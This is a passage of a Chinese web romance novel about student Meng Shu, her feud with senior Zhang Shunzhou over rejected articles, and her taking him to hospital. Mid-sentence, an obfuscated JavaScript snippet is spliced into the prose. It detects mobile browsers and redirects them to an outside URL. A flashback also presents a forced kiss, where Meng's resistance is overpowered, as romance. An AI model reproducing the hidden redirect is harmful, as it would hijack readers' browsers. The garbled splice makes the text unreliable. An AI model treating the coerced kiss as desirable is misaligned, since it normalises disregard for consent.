南方转学来的女生,不仅说话调子温吞,性子也乖软。 过去没往这方面想,现在一看,大家竟然都觉得两人的颜值很搭。 有人半开玩笑地问孟舒喜不喜欢傅时逾。 孟舒没近距离见过傅时逾的脸。 他留给她的只有一个模糊的瘦高身影。 当时他演讲完,正不紧不慢地从主席台上走下来。 看到那抹身影时,孟舒的第一反应是,原来三中的校服也有人能穿得很好看。 但慢慢地,“傅时逾”三个字,从别人嘴里的名字,从一个背影,逐渐成为了孟舒为之奋斗,不断接近的目标。 永远的年级第一,数理化保持满分。 孟舒辗转拿到他考卷的复印件,开始模仿他的解题思路。 暂时不理解的地方,她就一遍遍誊写他的解题步骤。 他全英文演讲的录音,她铐在手机里,每天反复地听。 听说傅时逾最近在看什么书,做哪本题册,她马上也去买来做。 孟舒不认识傅时逾。 从没看清过他的脸,但他的笔迹,他的声音,他的解题思路,她无比熟悉。 她好似通过这些文字和声音,认识了傅时逾一样。 从崇拜仰望,到心里埋下好奇的种子。 青春是最纯净的阳光,滋养茁壮着那颗懵懂纯粹的少女心。 但少女的自尊心也同样弥足珍贵。 她怎么可能喜欢一个不认识的人呢? 不,即使认识,也不代表她就要喜欢这样一个满身光环的人。 傅时逾的这些光环,只能证明他是个优秀的人,并不能成为孟舒喜欢他的理由。 孟舒咽下那口水,冰凉的水顺着喉咙滑入肠胃,孟舒摁着略有不适的胃部,垂着目光,轻声说:“不喜欢。” 休息时间结束,女生们又回了操场。 热闹的小卖部恢复了安静。 老板从冰柜里拿了瓶水递给半蹲在电脑前的人。 外面一排货架挡着,没人发现这里有人。 男生从刚才开始就在这里修电脑。 他站起身,接过水,拿在手里没喝。 傅时逾眯了眯眼,握着冰冷的矿泉水瓶,眼睛看向女生们说说笑笑远去的背影,最后视线停留在某道纤细的身影上。 * 高考查分那晚。 三楼的房间里,孟舒被傅时逾逼到书桌,无路可退。 她双手抵在他胸前,阻止他靠近,却被他轻易抓住手腕,压在桌沿。 男生微微低头,说话吐纳的气息在她侧脸和脖颈流连,激起她肌肤上一片战栗。 “孟舒,你喜欢我吗?” 12.不肯张嘴 孟舒一脸震惊,不安地眨动着眼睛。 她不明白他为什么会这么问。 也从没想过他会问。 否认的话就在嘴边,却因为太过震惊,失声般发不出一个音节。 “不喜欢?”他步步紧逼,属于他的味道和气息不容拒绝地朝她倾覆而下。 孟舒在心慌意乱中听见傅时逾说—— “就算不喜欢……也不能推开我。” 就像傅时逾说的那样,就算她不喜欢他也不能拒绝。 她不是不想推开他,而是根本推开不了。 傅时逾第一次亲她就很凶。 她不肯张嘴。 他贴着她的唇反复研磨,咬她的唇珠,用力吸那两片软肉。 两瓣唇被吸吮得发麻刺痛,孟舒痛得刚呜咽一声,他就趁机撬开,舌头急不可耐地探进来。 男生的舌头,青涩懵懂,急迫又蛮横地在她口腔里搅弄吸吮。 孟舒的耳边全是口水交融的滋滋声,和不知是谁的混乱不堪的喘息声。 她满脸通红,伸手去推他。 傅时逾不但没放开她,宽大的手掌更是贴在她脑后,将她不断往前压,加深这个吻。 傅时逾像终于得到了觊觎已久的宝物,一味贪婪、不知满足地掠夺。 恨不得把她这张嘴把她这个人都吞进腹中嚼烂。 孟舒脑海中曾经幻想过的模糊身影,她通过文字和声音渐渐了解、经过一年的朝夕相处变得熟悉的人,此时此刻在肢体相触和唇舌交融中终于变得真实、立体。 这一刻的傅时逾,才是真正的傅时逾。 孟舒终于明白。 他从来都不是她心里所想的“傅时逾”。 而他根本就不需要她是否喜欢他的答案。 他只想要掠夺。 * 孟舒的稿子果然被打回来了。 学姐夸她写得很好,但终审没过。 最终审核的权限在谁手里,又是谁决定不通过的不用多说。 刚进工作室时,孟舒以为章顺洲就是严格而已。 但有一回,她的稿子被章顺洲退回来。 她一稿二稿三稿,终于按照他的要求全部改好,最后他用回了她的初稿。 并且没给她任何解释。 这样的事情多了,孟舒逐渐明白过来,他是在故意针对自己。 孟舒笃定自己没得罪过章顺洲。 她当初进工作室,连他的面都没见过,稿子就被他退了回来。 孟舒只想顺利拿满推文的学分,不想和章顺洲起冲突。 可这篇稿子她费了心思,特意找相关人员收集素材,光是前期准备就花了一个多月。 心血被践踏,任谁都不好受。 孙怡闵曾经分析过,章顺洲针对她,可能是因为嫉妒。 孟舒的文字很有灵性,写得一手好文章。 当初她的目标是华大中文系,后来被傅时逾撺掇着把目标改成了江大新闻系。 说是撺掇,其实孟舒也认同傅时逾说的文字是有力量的,她应该好好用自己手里的笔。 在江大这些年,孟舒不显山不露水,但学校里有重要活动,系里都会让她撰稿。 以前这些都是章顺洲负责,也是因此,他和系里的关系很好,有希望将来能留校。 自从孟舒被重用,系里渐渐就不找他了。 章顺洲可能是因为这件事迁怒于孟舒。 利用手里小小的权力给她穿小鞋。 肖君曾恶毒地揣测,章顺洲是想pua孟舒,让她心里崩溃,再也写不出一个字。 孟舒无意和章顺洲竞争,为人的准则也一向是息事宁人。 如果是高中的孟舒,也许会默默忍到毕业,但她和傅时逾在一起这些年,身上到底沾上了些他的脾性。 忍一次是我嫌麻烦,忍两次是我大度。 再三再四,没完没了我就要回击了。 孟舒回击的手段很直接。 她这次把稿子直接发给了团委老师。 老师姓杨,管理江大的各类推广宣传工作,公众号就由她负责。 杨老师文采斐然,著作在国际上很知名。 孟舒的稿子发过去没多久,杨老师就回了邮件,对她这篇文章高度评价。 专业人士的认可就是最大的底气。 因为杨老师,稿子一字未改发在公众号那天,章顺洲给孟舒打了电话。 语气很冲地抵诘问她为什么要这么做。 孟舒不仅越过章顺洲把稿子发给杨老师,还将他毙她稿子洋洋洒洒写的缺点一并转发。 看来杨老师找过章顺洲了。 杨老师是手握笔杆子的人,心思细腻,不可能不明白发生了什么。 孟舒写得太好,挡了别人的道。 打电话不够,晚上工作室月度例会结束去聚餐,孟舒又被章顺洲单独拉到一边。 “你什么意思?”章顺洲看得出来急了,气急败坏道,“你这样有意思吗?” 两句话,一句比一句情绪激动。 孟舒不会吵架,就算生气嗓子也是轻柔的,更何况她也没生气。 “我没什么意思的,”孟舒慢悠悠一字一字地回,“确实没什么意思。” 她看似在回答,实则全是无效废话。 态度也是一如既往的乖顺。 章顺洲看她这副样子,更来气,手指差点就戳到她脑门,但憋红了脸只说出了一个“你”字,愣是没说出第二个字。 孟舒就是团棉花,软绵绵轻飘飘,毫无攻击力,但你要是拿棉花线弹她,回弹的力道能绷你一脸。 两人回到包厢。 李妍学姐凑近孟舒,看了眼脸很黑的章顺洲,“骂你了?” 孟舒摇头,“没有,学长找我聊点事。” 李妍早看穿一切,没拆穿她,还告诉了她另一件事。 “你不知道,他不仅被杨老师批了一顿,说他没有容人之量,他们导师也找他了。” “导师?”孟舒不明白,工作室的事和院里有什么关系。 李妍马上给了解释:“有人举报他学术论文抄袭。” 说完她轻叹,“平时得罪的人太多了。” 孟舒没对李妍这些话发表看法。 章顺洲确实对她造成了一定困扰,她针对性地解决了。 至于别的她不清楚内情,没资格审判。 李妍趁机和孟舒聊起章顺洲。 说他这人确实有才气,就是太心高气傲,看不上任何人。 得罪的人一多就把路走窄了。 在这个社会上生存,该服软的时候还是得服,硬碰硬,迟早有一天被砸碎。 李妍说得没错。 但孟舒不太苟同。 毕竟她认识的某个人,铜墙铁壁,比钢铁侠的战衣还硬。 谁和他硬碰硬都没好结果。 孟舒自己就是一个惨痛的案例。 不过,也可能是没遇着比他更硬的。 傅时逾就是再厉害,也总有什么人、什么事能让他软了筋骨,无法再不可一世。 孟舒脑子里正天马行空,钢铁侠的消息就来了。 傅时逾问她在哪里。 孟舒很清楚,这句话代表的含义。 果然傅时逾下一条消息就是让她去公寓。 上周傅时逾去了申城参加世界人工智能大会。 两人一周没见了。 孟舒难得过了清静自由的一周。 由奢入俭难。 好日子过惯了,孟舒开始贪心。 她不太想去公寓。 这人一回来就找她,什么心思不言而喻。 于是她试探着回了条—— 【工作室今天有聚餐,还有篇稿子要赶】 言下之意是我现在过不来,今晚也陪不了你。 傅时逾的消息很快回过来—— 【我这儿不能写吗?】 宿舍到了十二点就熄灯,考试周复习或者有东西急着写,孟舒会主动去他的公寓。 通常这种时候,傅时逾不会闹她,让她安安静静地做自己的事。 但只要她不睡,他也不会睡,没事找事地陪她留在书房。 【S:整理的资料在宿舍电脑里】 【S:明天必须要交】 【S:我周五过来好吗?】 发完消息,孟舒忐忑地等着。 等来傅时逾的“回宿舍后给我电话”,孟舒终于舒了口气。 聚会到一半,孟舒看见章顺洲离开了包厢。 五分钟过去,章顺洲没回来。 十分钟过去,还没回来。 他的双肩包还在,不像是走了。 孟舒不是个多管闲事的人。 但她去外面上完厕所没有马上回包厢。 她在几个包厢外转了转,又来到大厅。 大厅里没几桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316269|197836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 孟舒一眼就看见了章顺洲。 大厅最大的圆桌旁坐着几个年轻人。 有男有女,其中有学生模样,也有初入社会职场打扮的。 章顺洲突兀地站在桌边,因为高瘦,肩背有些佝着,手里端着酒杯。 透明酒杯里,满满当当一杯。 桌上两瓶白酒开封了。 章顺洲背对着,孟舒看不见他的表情。 但坐着那些人,他们看向章顺洲的神色,孟舒看得一清二楚。 ——不加掩饰的轻蔑和愚弄。 孟舒转身的脚步迟疑了一下。 她看见章顺洲扬脖,一口把酒干了。 喝得急,被呛到了,他拿手臂捂住嘴,闷声咳了几下,同时把杯子放回桌上。 然后什么也没说,抬脚就走。 章顺洲没回包厢,脚步飞快往外走。 他出了饭店,站在门口打开手机,看了几眼后往右手边走去。 他走得很快,大约五分钟后走进家药店。 买完出来,看到站在门口的人。 孟舒朝他递过来一瓶水。 街边的霓虹在女生浅色的眼睛里映出一片明亮。 孟舒买的是便利店里最贵的水。 不是她讲究,只是习惯了。 傅家别墅和傅时逾的公寓冰柜里,只有这一个牌子的水。 章顺洲接过孟舒的水,把药吞下。 “去医院吧?” 孟舒借着药店门口的灯光,看见章顺洲露在外面的肌肤上一大片怪异的红。 她刚开始以为章顺洲是来买醒酒药,但看来不是。 刚才在他们自己包厢,有人敬章顺洲酒,他一概没喝,说辞是“酒精过敏”。 被李妍吐槽他连找借口都懒。 章顺洲又灌了两口水,缓了缓说:“我没事,你回去。” “还是去一下医院吧?” 孟舒不放心。 别说他酒精过敏,就算不是,那一大杯酒灌下去也够呛。 章顺洲没想到她这么固执,拧紧眉头。 “我自己的身体我知道,你不用在我这里做多余的事。” 孟舒没在意他的阴阳怪气,她虚空指了指他脖子上起的那片像荨麻疹的东西。 “过敏严重会导致休克。” 好的不灵坏的灵。 章顺洲怀疑孟舒的嘴开过光。 她说完,章顺洲就感到自己状态不对,呼吸越来越急促,心跳也不正常。 好在这里离主路近,孟舒很快拦到了车。 性命攸关,章顺洲没再拒绝孟舒的帮忙。 到了医院,直接去了急诊。 挂号抽血化验拿药,最后孟舒从护士手里接过盐水袋,陪章顺洲去了留观室。 找了个地方把人安顿好,孟舒把盐水袋挂上。 突然手里拿着的病历本被抽走。 孟舒低头,只看到章顺洲的黑色脑袋。 “我一个人就行了。”他抱着病历本和药,人因为难受,侧坐在椅子上,手背搭在额角。 一副要死不活却死犟的口气。 章顺洲看着女生的背影消失在留观室,难受地吐出一口气,身体再也撑不住地往后躺,抬手盖住了眼睛。 昏沉中,章顺洲听到一阵窸窸窣窣声。 他艰难地睁开眼睛,看到孟舒把便利店袋子和保温杯放在他旁边。 保温杯她新买的,洗过后倒了热水。 便利店的袋子里装了几个面包。 孟舒抬头观察,盐水还有一小半,挂的有点快。 她边调整吊瓶的流速,边说:“包我让李妍学姐带回学校了。” 章顺洲离开得匆忙,包还留在饭店包厢。 孟舒虽然没说,但既然跟着他一路到药店,应该看到了他在大厅的那一幕。 那群人是谁,他为什么要喝下那杯酒。 孟舒没问,章顺洲也不会主动说。 章顺洲没说话,也没再让她走。 孟舒在旁边空着的椅子坐下。 这是离学校最近的社区医院。 夜晚急诊人不多,留观室只有他们两人。 孟舒无聊拿出手机,点开看到屏幕上未接来电的红点时,神经瞬间绷紧。 因为在医院,她把手机调成了静音,不知道有电话进来。 十一个未接电话。 全部来自同一个人。